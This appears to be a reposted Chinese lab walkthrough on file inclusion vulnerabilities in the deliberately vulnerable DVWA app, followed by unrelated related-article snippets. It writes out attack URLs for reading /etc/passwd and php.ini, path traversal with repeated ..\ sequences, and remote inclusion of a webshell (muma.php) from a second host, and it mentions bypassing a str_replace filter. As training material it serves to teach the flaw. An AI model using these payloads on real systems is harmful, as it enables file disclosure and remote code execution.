E055-web安全应用-File Inclusion文件包含漏洞初级

news2025/3/13 10:30:14

课程名称:

E055-web安全应用-File Inclusion文件包含漏洞初级

课程分类:

web安全应用

实验等级:

中级

任务场景:

【任务场景】

        小王接到磐石公司的邀请,对该公司旗下网站进行安全检测,经过一番检查发现了该论坛的某个页面存在文件包含漏洞。反复测试后,小王总结了一下网站文件包含漏洞,为了让公司管理人员彻底的理解并修补漏洞,小王用DVWA情景再现。

任务分析:

【任务分析】

        网站服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件。

预备知识:

【预备知识】

        PHP文件包含漏洞,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码

        当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

        str_replace函数,能够对参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。

---------------------------------------------------------------------------------------------------------------------------------

任务实施:

E055-web安全应用-File Inclusion文件包含漏洞初级

服务器场景:p9_win7-1(用户名:test;密码:123456)

服务器场景操作系统:Windows 7


服务器场景:p9_ws03-1(用户名:administrator;密码:123456)

服务器场景操作系统:Microsoft Windows2003 Server

---------------------------------------------------------------------------------------------------------------------------------

网络结构拓扑:

---------------------------------------------------------------------------------------------------------------------------------

实战复现:

        打开火狐浏览器,在地址栏输入靶机的地址访问网页,使用默认用户名admin密码password登录:

点击“File Inclusion”后选择“file1.php”

构建本地包含url

“ http://172.16.1.4/vulnerabilities/fi/?page=/etc/passwd”

“ http://172.16.1.4/vulnerabilities/fi/?page=/etc/passwd”

报错,显示没有这个文件,说明服务器系统不是Linux,但同时暴露了服务器根目录文件的绝对路径C:\phpstudy\WWW\

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

构建绝对路径

http://172.16.1.4/vulnerabilities/fi/?page=C:\phpstudy\WWW\php.ini成功显示php.ini的内容

http://172.16.1.4/vulnerabilities/fi/?page=C:\phpstudy\WWW\php.ini

构建相对路径

加这么多..\是为了保证到达服务器的C盘根目录,可以看到读取是成功的 

---------------------------------------------------------------------------------------------------------------------------------

远程文件包含

        服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行                

第一步,在本地搭建一个可访问的网站并写好一句话木马

构造url 

172.16.1.4/vulnerabilities/fi/?page=http://172.16.1.5/muma.php

172.16.1.4/vulnerabilities/fi/?page=http://172.16.1.5/muma.php

成功的访问了目标网站

本地文件包含

第一步:构建绝对路径url  构建绝对路径

http://172.16.1.4/vulnerabilities/fi/?page=C:\phpstudy\WWW\php.ini。成功显示php.ini内容

http://172.16.1.4/vulnerabilities/fi/?page=C:\phpstudy\WWW\php.ini

构建相对路径url 

172.16.1.4/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\phpstudy\WWW\php.ini

172.16.1.4/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\phpstudy\WWW\php.ini

构造url 

172.16.1.4/vulnerabilities/fi/?page=http://172.16.1.5/muma.php未能访问成功

172.16.1.4/vulnerabilities/fi/?page=http://172.16.1.5/muma.php

点击“view_source”查看源代码,可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除

重新构建url链接,发现成功访问

实验结束,关闭虚拟机。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1101722.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

强烈推荐!超低温冰箱监控教程

超低温冰箱监控是在医疗、科研和工业领域中至关重要的技术,被用于储存和保护生物样本、药物、疫苗以及其他温度敏感的物品。有效的监控系统可以确保这些贵重物品在极端低温条件下的安全性和稳定性。 客户案例 医疗研究院 广东某医疗研究院需要存储大量的生物样本和…

【Cisco ios的三种命令模式,可收藏!】

一:前言 IOS(InternetWork Operating System 互联网操作系统)是Cisco网络设备的核心系统软件,IOS用户界面是命令行接口界面,用户可以通过输入命令实现对网络设备的配置和管理。 为了安全,IOS提供了三种命令行模式,分…

嵌入式实时操作系统的设计与开发(调度策略学习)

将调度分为两层,上层为策略,下层为机制,并且采用策略与机制分离的设计原则,可以方便灵活地扩展调度策略,而不改变底层的调度机制。 调度策略就是如何确定线程的CPU、优先级prio等参数,线程是按照FIFO&…

Sui第六轮资助:15个项目共获得106万美元的资助

近日,Sui基金会宣布了15个项目获得共计106万美元的资助,用于构建项目以推动Sui的采用和发展。要获得资助,项目必须提交详细描述其正在构建的内容、逐项预算、关键里程碑、团队经验以及对Sui社区预期贡献的提案。 获得资助的15个项目致力于跨…

WPF 用户控件依赖注入赋值

前言 我一直想组件化得去开发WPF&#xff0c;因为我觉得将复杂问题简单化是最好的 如何组件化开发 主窗口引用 <Window x:Class"WpfApp1.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.…

如何将前后端分离项目部署到本地的Docker Desktop容器运行并且访问

文章目录 前言 完成了客户的一个前后端分离项目&#xff0c;要求部署到客户电脑上去展示&#xff0c;那肯定不能直接把代码弄上去跑呀~~~&#xff0c;于是我就想把他们都打包部署到本地的docker容器里面&#xff0c;方便运行和访问&#xff0c;so&#xff0c;以下内容就详细介…

封装canvas选择区域的组件

大家好&#xff0c;我是南宫&#xff0c;最近我刚完成了一个canvas相关组件的封装。我个人其实很怕canvas和地图&#xff0c;就感觉这里有很复杂的操作&#xff0c;搞不懂&#xff0c;所以这次封装完了以后&#xff0c;决定写一篇博客来记录。 首先我先简单介绍一下这个组件的…

【仙逆】王林极限跑酷,藤厉自食恶果,仙逆战斗获好评,张虎命运被改写

Hello,小伙伴们&#xff0c;我是小郑继续为大家深度解析国漫资讯。 最新一集《仙逆》已经更新&#xff0c;相信很多小伙伴都已经先睹为快&#xff0c;在击杀了白展之后&#xff0c;张虎和王林担心其师傅即墨老人报复&#xff0c;因此躲到看似安全的藤家城&#xff0c;以为那里有…

MySQL学习(三)——多表连接查询

文章目录 1. 多表关系1.1 一对多1.2 多对多1.3 一对一 2. 概述2.1 数据准备2.2 简单查询2.3 分类 3. 内连接4. 外连接5. 自连接5.1 自连接查询5.2 联合查询 6. 子查询6.1 概念6.2 标量子查询6.3 列子查询6.4 行子查询6.5 表子查询 1. 多表关系 项目开发中&#xff0c;在进行数…

UE5 运行时生成距离场数据

1.背景 最近有在运行时加载模型的需求&#xff0c;使用DatasmithRuntimeActor可以实现&#xff0c;但是跟在编辑器里加载的模型对比起来&#xff0c;室内没有Lumen的光照效果。 图1 编辑器下加载模型的效果 图2 运行时下加载模型的效果 然后查看了距离场的数据&#xff0c;发现…

leetcode-48.旋转图像

1. 题目 leetcode题目链接 给定一个 n n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。 你必须在 原地 旋转图像&#xff0c;这意味着你需要直接修改输入的二维矩阵。请不要 使用另一个矩阵来旋转图像。 2. 编程 矩阵转置&#xff1a; 遍历矩阵&#x…

EKP接口开发Webservice服务和Restservice服务以及定时任务Demo

继承com.landray.kmss.sys.webservice2.interfaces.ISysWebservice&#xff0c;同时在接口上使用WebService注解将其标识为WebService接口 package com.landray.kmss.third.notify.webservice;import com.alibaba.fastjson.JSONObject; import com.landray.kmss.sys.webservic…

CAD图形导出为XAML实践

文章目录 一、前言二、方法与实践2.1 画出原图&#xff0c;借第三方工具导出至指定格式2.2 CAD导出并转换2.3 两种方法的优劣2.3.1 直接导出代码量大2.3.2 导入导出需要调参 三、总结 一、前言 上位机通常有一个设备/场景界面&#xff0c;该界面用于清晰直观地呈现设备状态。 …

线程通信java

有包子 不做了 唤醒别人等地自己 this.notifyAll(); this.wait() package TheadCpd;public class TheadCpd {//目标&#xff1a;了解线程通信public static void main(String[] args) {//需求&#xff1a;3个人生产或者线程 负责生产包子 每个线程生产1个包子放桌子上// 2…

Pytorch:cat、stack、squeeze、unsqueeze的用法

Pytorch&#xff1a;cat、stack、squeeze、unsqueeze的用法 torch.cat 在指定原有维度上链接传入的张量&#xff0c;所有传入的张量都必须是相同形状 torch.cat(tensors, dim0, *, outNone) → Tensor tensor:相同形状的tensor dim:链接张量的维度&#xff0c;不能超过传入张…

C++对象模型(10)-- 虚函数2

1、虚函数表、虚函数表指针的创建时机 我们知道虚函数表是属于类的&#xff0c;而虚函数表指针是属于对象的。在编译的时候&#xff0c;编译器会往类的构造函数中插入创建虚函数表指针的代码。同样&#xff0c;在编译期间编译器也为每个类确定好了对应的虚函数表的内容。 虚函…

巡检系统是什么?设备巡检系统有什么用?

在现今这个高度自动化的时代&#xff0c;许多企业的设备规模日益扩大&#xff0c;设备巡检工作也变得越来越重要。它不仅是保证企业设备正常运行的重要环节&#xff0c;也是维护生产安全和提升运营效率的关键。那么&#xff0c;如何有效地进行设备巡检呢&#xff1f;答案就是—…

CSS Vue/RN 背景使用opacity,文字在背景上显示

Vue <div class"training_project_tip"> <div class"tip">展示的文字</div> </div> .training_project_tip { font-size: 12px; font-weight: 400; text-align: left; color: #ffffff; margin-top: 8px; position: relative; dis…

6.自定义相机控制器

愿你出走半生,归来仍是少年&#xff01; Cesium For Unity自带的Dynamic Camera,拥有优秀的动态展示效果&#xff0c;但是其对于场景的交互方式用起来不是很舒服。 通过模仿Cesium JS 的交互方式&#xff0c;实现在Unity中的交互&#xff1a; 通过鼠标左键拖拽实现场景平移通过…

模式植物背景基因集制作

一边学习&#xff0c;一边总结&#xff0c;一边分享&#xff01; 写在前面 关于GO背景基因集文件的制作&#xff0c;我们在很早以前也发过。近两天&#xff0c;自己在分析时候&#xff0c;也是被搞了头疼。想重新制作一份GO背景基因集&#xff0c;进行富集分析。但是结果&…